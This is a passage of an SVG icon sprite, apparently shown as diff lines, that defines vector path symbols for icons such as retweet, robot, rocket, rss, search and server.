38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z"></path> + </symbol> + <symbol id="republican" viewBox="0 0 640 512"> + <path d="M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z"></path> + </symbol> + <symbol id="restroom" viewBox="0 0 640 512"> + <path d="M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z"></path> + </symbol> + <symbol id="retweet" viewBox="0 0 640 512"> + <path d="M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z"></path> + </symbol> + <symbol id="ribbon" viewBox="0 0 448 512"> + <path d="M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z"></path> + </symbol> + <symbol id="ring" viewBox="0 0 512 512"> + <path d="M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z"></path> + </symbol> + <symbol id="road" viewBox="0 0 576 512"> + <path d="M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z"></path> + </symbol> + <symbol id="robot" viewBox="0 0 640 512"> + <path d="M32,224H64V416H32A31.96166,31.96166,0,0,1,0,384V256A31.96166,31.96166,0,0,1,32,224Zm512-48V448a64.06328,64.06328,0,0,1-64,64H160a64.06328,64.06328,0,0,1-64-64V176a79.974,79.974,0,0,1,80-80H288V32a32,32,0,0,1,64,0V96H464A79.974,79.974,0,0,1,544,176ZM264,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,264,256Zm-8,128H192v32h64Zm96,0H288v32h64ZM456,256a40,40,0,1,0-40,40A39.997,39.997,0,0,0,456,256Zm-8,128H384v32h64ZM640,256V384a31.96166,31.96166,0,0,1-32,32H576V224h32A31.96166,31.96166,0,0,1,640,256Z"></path> + </symbol> + <symbol id="rocket" viewBox="0 0 512 512"> + <path d="M505.12019,19.09375c-1.18945-5.53125-6.65819-11-12.207-12.1875C460.716,0,435.507,0,410.40747,0,307.17523,0,245.26909,55.20312,199.05238,128H94.83772c-16.34763.01562-35.55658,11.875-42.88664,26.48438L2.51562,253.29688A28.4,28.4,0,0,0,0,264a24.00867,24.00867,0,0,0,24.00582,24H127.81618l-22.47457,22.46875c-11.36521,11.36133-12.99607,32.25781,0,45.25L156.24582,406.625c11.15623,11.1875,32.15619,13.15625,45.27726,0l22.47457-22.46875V488a24.00867,24.00867,0,0,0,24.00581,24,28.55934,28.55934,0,0,0,10.707-2.51562l98.72834-49.39063c14.62888-7.29687,26.50776-26.5,26.50776-42.85937V312.79688c72.59753-46.3125,128.03493-108.40626,128.03493-211.09376C512.07526,76.5,512.07526,51.29688,505.12019,19.09375ZM384.04033,168A40,40,0,1,1,424.05,128,40.02322,40.02322,0,0,1,384.04033,168Z"></path> + </symbol> + <symbol id="route" viewBox="0 0 512 512"> + <path d="M416 320h-96c-17.6 0-32-14.4-32-32s14.4-32 32-32h96s96-107 96-160-43-96-96-96-96 43-96 96c0 25.5 22.2 63.4 45.3 96H320c-52.9 0-96 43.1-96 96s43.1 96 96 96h96c17.6 0 32 14.4 32 32s-14.4 32-32 32H185.5c-16 24.8-33.8 47.7-47.3 64H416c52.9 0 96-43.1 96-96s-43.1-96-96-96zm0-256c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM96 256c-53 0-96 43-96 96s96 160 96 160 96-107 96-160-43-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="rss" viewBox="0 0 448 512"> + <path d="M128.081 415.959c0 35.369-28.672 64.041-64.041 64.041S0 451.328 0 415.959s28.672-64.041 64.041-64.041 64.04 28.673 64.04 64.041zm175.66 47.25c-8.354-154.6-132.185-278.587-286.95-286.95C7.656 175.765 0 183.105 0 192.253v48.069c0 8.415 6.49 15.472 14.887 16.018 111.832 7.284 201.473 96.702 208.772 208.772.547 8.397 7.604 14.887 16.018 14.887h48.069c9.149.001 16.489-7.655 15.995-16.79zm144.249.288C439.596 229.677 251.465 40.445 16.503 32.01 7.473 31.686 0 38.981 0 48.016v48.068c0 8.625 6.835 15.645 15.453 15.999 191.179 7.839 344.627 161.316 352.465 352.465.353 8.618 7.373 15.453 15.999 15.453h48.068c9.034-.001 16.329-7.474 16.005-16.504z"></path> + </symbol> + <symbol id="rss-square" viewBox="0 0 448 512"> + <path d="M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM112 416c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm157.533 0h-34.335c-6.011 0-11.051-4.636-11.442-10.634-5.214-80.05-69.243-143.92-149.123-149.123-5.997-.39-10.633-5.431-10.633-11.441v-34.335c0-6.535 5.468-11.777 11.994-11.425 110.546 5.974 198.997 94.536 204.964 204.964.352 6.526-4.89 11.994-11.425 11.994zm103.027 0h-34.334c-6.161 0-11.175-4.882-11.427-11.038-5.598-136.535-115.204-246.161-251.76-251.76C68.882 152.949 64 147.935 64 141.774V107.44c0-6.454 5.338-11.664 11.787-11.432 167.83 6.025 302.21 141.191 308.205 308.205.232 6.449-4.978 11.787-11.432 11.787z"></path> + </symbol> + <symbol id="ruble-sign" viewBox="0 0 384 512"> + <path d="M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z"></path> + </symbol> + <symbol id="ruler" viewBox="0 0 640 512"> + <path d="M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z"></path> + </symbol> + <symbol id="ruler-combined" viewBox="0 0 512 512"> + <path d="M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="ruler-horizontal" viewBox="0 0 576 512"> + <path d="M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="ruler-vertical" viewBox="0 0 256 512"> + <path d="M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z"></path> + </symbol> + <symbol id="running" viewBox="0 0 416 512"> + <path d="M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z"></path> + </symbol> + <symbol id="rupee-sign" viewBox="0 0 320 512"> + <path d="M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z"></path> + </symbol> + <symbol id="sad-cry" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z"></path> + </symbol> + <symbol id="sad-tear" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zM152 416c-26.5 0-48-21-48-47 0-20 28.5-60.4 41.6-77.8 3.2-4.3 9.6-4.3 12.8 0C171.5 308.6 200 349 200 369c0 26-21.5 47-48 47zm16-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm170.2 154.2C315.8 367.4 282.9 352 248 352c-21.2 0-21.2-32 0-32 44.4 0 86.3 19.6 114.7 53.8 13.8 16.4-11.2 36.5-24.5 20.4z"></path> + </symbol> + <symbol id="satellite" viewBox="0 0 512 512"> + <path d="M502.60969,310.04206l-96.70393,96.71625a31.88151,31.88151,0,0,1-45.00765,0L280.572,326.34115l-9.89231,9.90759a190.56343,190.56343,0,0,1-5.40716,168.52287c-4.50077,8.50115-16.39342,9.59505-23.20707,2.79725L134.54715,400.05428l-17.7999,17.79929c.70324,2.60972,1.60965,5.00067,1.60965,7.79793a32.00544,32.00544,0,1,1-32.00544-32.00434c2.79735,0,5.18838.90637,7.7982,1.60959l17.7999-17.79929L4.43129,269.94287c-6.798-6.81342-5.70409-18.6119,2.79735-23.20627a190.58161,190.58161,0,0,1,168.52864-5.407l9.79854-9.79821-80.31053-80.41716a32.002,32.002,0,0,1,0-45.09987L201.96474,9.29814A31.62639,31.62639,0,0,1,224.46868,0a31.99951,31.99951,0,0,1,22.59759,9.29814l80.32615,80.30777,47.805-47.89713a33.6075,33.6075,0,0,1,47.50808,0l47.50807,47.50645a33.63308,33.63308,0,0,1,0,47.50644l-47.805,47.89713L502.71908,265.036A31.78938,31.78938,0,0,1,502.60969,310.04206ZM219.56159,197.433l73.82505-73.82252-68.918-68.9-73.80942,73.80689Zm237.74352,90.106-68.90233-68.9156-73.825,73.82252,68.918,68.9Z"></path> + </symbol> + <symbol id="satellite-dish" viewBox="0 0 512 512"> + <path d="M305.44954,462.59c7.39157,7.29792,6.18829,20.09661-3.00038,25.00356-77.713,41.80281-176.72559,29.9105-242.34331-35.7082C-5.49624,386.28227-17.404,287.362,24.41381,209.554c4.89125-9.095,17.68975-10.29834,25.00318-3.00043L166.22872,323.36708l27.39411-27.39452c-.68759-2.60974-1.594-5.00071-1.594-7.81361a32.00407,32.00407,0,1,1,32.00407,32.00455c-2.79723,0-5.20378-.89075-7.79786-1.594l-27.40974,27.41015ZM511.9758,303.06732a16.10336,16.10336,0,0,1-16.002,17.00242H463.86031a15.96956,15.96956,0,0,1-15.89265-15.00213C440.46671,175.5492,336.45348,70.53427,207.03078,63.53328a15.84486,15.84486,0,0,1-15.00191-15.90852V16.02652A16.09389,16.09389,0,0,1,209.031.02425C372.25491,8.61922,503.47472,139.841,511.9758,303.06732Zm-96.01221-.29692a16.21093,16.21093,0,0,1-16.11142,17.29934H367.645a16.06862,16.06862,0,0,1-15.89265-14.70522c-6.90712-77.01094-68.118-138.91037-144.92467-145.22376a15.94,15.94,0,0,1-14.79876-15.89289V112.13393a16.134,16.134,0,0,1,17.29908-16.096C319.45132,104.5391,407.55627,192.64538,415.96359,302.7704Z"></path> + </symbol> + <symbol id="save" viewBox="0 0 448 512"> + <path d="M433.941 129.941l-83.882-83.882A48 48 0 0 0 316.118 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V163.882a48 48 0 0 0-14.059-33.941zM224 416c-35.346 0-64-28.654-64-64 0-35.346 28.654-64 64-64s64 28.654 64 64c0 35.346-28.654 64-64 64zm96-304.52V212c0 6.627-5.373 12-12 12H76c-6.627 0-12-5.373-12-12V108c0-6.627 5.373-12 12-12h228.52c3.183 0 6.235 1.264 8.485 3.515l3.48 3.48A11.996 11.996 0 0 1 320 111.48z"></path> + </symbol> + <symbol id="school" viewBox="0 0 640 512"> + <path d="M0 224v272c0 8.84 7.16 16 16 16h80V192H32c-17.67 0-32 14.33-32 32zm360-48h-24v-40c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v64c0 4.42 3.58 8 8 8h48c4.42 0 8-3.58 8-8v-16c0-4.42-3.58-8-8-8zm137.75-63.96l-160-106.67a32.02 32.02 0 0 0-35.5 0l-160 106.67A32.002 32.002 0 0 0 128 138.66V512h128V368c0-8.84 7.16-16 16-16h96c8.84 0 16 7.16 16 16v144h128V138.67c0-10.7-5.35-20.7-14.25-26.63zM320 256c-44.18 0-80-35.82-80-80s35.82-80 80-80 80 35.82 80 80-35.82 80-80 80zm288-64h-64v320h80c8.84 0 16-7.16 16-16V224c0-17.67-14.33-32-32-32z"></path> + </symbol> + <symbol id="screwdriver" viewBox="0 0 512 512"> + <path d="M448 0L320 96v62.06l-83.03 83.03c6.79 4.25 13.27 9.06 19.07 14.87 5.8 5.8 10.62 12.28 14.87 19.07L353.94 192H416l96-128-64-64zM128 278.59L10.92 395.67c-14.55 14.55-14.55 38.15 0 52.71l52.7 52.7c14.56 14.56 38.15 14.56 52.71 0L233.41 384c29.11-29.11 29.11-76.3 0-105.41s-76.3-29.11-105.41 0z"></path> + </symbol> + <symbol id="scroll" viewBox="0 0 640 512"> + <path d="M48 0C21.53 0 0 21.53 0 48v64c0 8.84 7.16 16 16 16h80V48C96 21.53 74.47 0 48 0zm208 412.57V352h288V96c0-52.94-43.06-96-96-96H111.59C121.74 13.41 128 29.92 128 48v368c0 38.87 34.65 69.65 74.75 63.12C234.22 474 256 444.46 256 412.57zM288 384v32c0 52.93-43.06 96-96 96h336c61.86 0 112-50.14 112-112 0-8.84-7.16-16-16-16H288z"></path> + </symbol> + <symbol id="sd-card" viewBox="0 0 384 512"> + <path d="M320 0H128L0 128v320c0 35.3 28.7 64 64 64h256c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zM160 160h-48V64h48v96zm80 0h-48V64h48v96zm80 0h-48V64h48v96z"></path> + </symbol> + <symbol id="search" viewBox="0 0 512 512"> + <path d="M505 442.7L405.3 343c-4.5-4.5-10.6-7-17-7H372c27.6-35.3 44-79.7 44-128C416 93.1 322.9 0 208 0S0 93.1 0 208s93.1 208 208 208c48.3 0 92.7-16.4 128-44v16.3c0 6.4 2.5 12.5 7 17l99.7 99.7c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.6.1-34zM208 336c-70.7 0-128-57.2-128-128 0-70.7 57.2-128 128-128 70.7 0 128 57.2 128 128 0 70.7-57.2 128-128 128z"></path> + </symbol> + <symbol id="search-dollar" viewBox="0 0 512 512"> + <path d="M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm27.11-152.54l-45.01-13.5c-5.16-1.55-8.77-6.78-8.77-12.73 0-7.27 5.3-13.19 11.8-13.19h28.11c4.56 0 8.96 1.29 12.82 3.72 3.24 2.03 7.36 1.91 10.13-.73l11.75-11.21c3.53-3.37 3.33-9.21-.57-12.14-9.1-6.83-20.08-10.77-31.37-11.35V112c0-4.42-3.58-8-8-8h-16c-4.42 0-8 3.58-8 8v16.12c-23.63.63-42.68 20.55-42.68 45.07 0 19.97 12.99 37.81 31.58 43.39l45.01 13.5c5.16 1.55 8.77 6.78 8.77 12.73 0 7.27-5.3 13.19-11.8 13.19h-28.1c-4.56 0-8.96-1.29-12.82-3.72-3.24-2.03-7.36-1.91-10.13.73l-11.75 11.21c-3.53 3.37-3.33 9.21.57 12.14 9.1 6.83 20.08 10.77 31.37 11.35V304c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8v-16.12c23.63-.63 42.68-20.54 42.68-45.07 0-19.97-12.99-37.81-31.59-43.39z"></path> + </symbol> + <symbol id="search-location" viewBox="0 0 512 512"> + <path d="M505.04 442.66l-99.71-99.69c-4.5-4.5-10.6-7-17-7h-16.3c27.6-35.3 44-79.69 44-127.99C416.03 93.09 322.92 0 208.02 0S0 93.09 0 207.98s93.11 207.98 208.02 207.98c48.3 0 92.71-16.4 128.01-44v16.3c0 6.4 2.5 12.5 7 17l99.71 99.69c9.4 9.4 24.6 9.4 33.9 0l28.3-28.3c9.4-9.4 9.4-24.59.1-33.99zm-297.02-90.7c-79.54 0-144-64.34-144-143.98 0-79.53 64.35-143.98 144-143.98 79.54 0 144 64.34 144 143.98 0 79.53-64.35 143.98-144 143.98zm.02-239.96c-40.78 0-73.84 33.05-73.84 73.83 0 32.96 48.26 93.05 66.75 114.86a9.24 9.24 0 0 0 14.18 0c18.49-21.81 66.75-81.89 66.75-114.86 0-40.78-33.06-73.83-73.84-73.83zm0 96c-13.26 0-24-10.75-24-24 0-13.26 10.75-24 24-24s24 10.74 24 24c0 13.25-10.75 24-24 24z"></path> + </symbol> + <symbol id="search-minus" viewBox="0 0 512 512"> + <path d="M304 192v32c0 6.6-5.4 12-12 12H124c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"></path> + </symbol> + <symbol id="search-plus" viewBox="0 0 512 512"> + <path d="M304 192v32c0 6.6-5.4 12-12 12h-56v56c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-56h-56c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h56v-56c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v56h56c6.6 0 12 5.4 12 12zm201 284.7L476.7 505c-9.4 9.4-24.6 9.4-33.9 0L343 405.3c-4.5-4.5-7-10.6-7-17V372c-35.3 27.6-79.7 44-128 44C93.1 416 0 322.9 0 208S93.1 0 208 0s208 93.1 208 208c0 48.3-16.4 92.7-44 128h16.3c6.4 0 12.5 2.5 17 7l99.7 99.7c9.3 9.4 9.3 24.6 0 34zM344 208c0-75.2-60.8-136-136-136S72 132.8 72 208s60.8 136 136 136 136-60.8 136-136z"></path> + </symbol> + <symbol id="seedling" viewBox="0 0 512 512"> + <path d="M64 96H0c0 123.7 100.3 224 224 224v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C288 196.3 187.7 96 64 96zm384-64c-84.2 0-157.4 46.5-195.7 115.2 27.7 30.2 48.2 66.9 59 107.6C424 243.1 512 147.9 512 32h-64z"></path> + </symbol> + <symbol id="server" viewBox="0 0 512 512"> + <path d="M480 160H32c-17.673 0-32-14.327-32-32V64c0-17.673 14.327-32 32-32h448c17.673 0 32 14.327 32 32v64c0 17.673-14.327 32-32 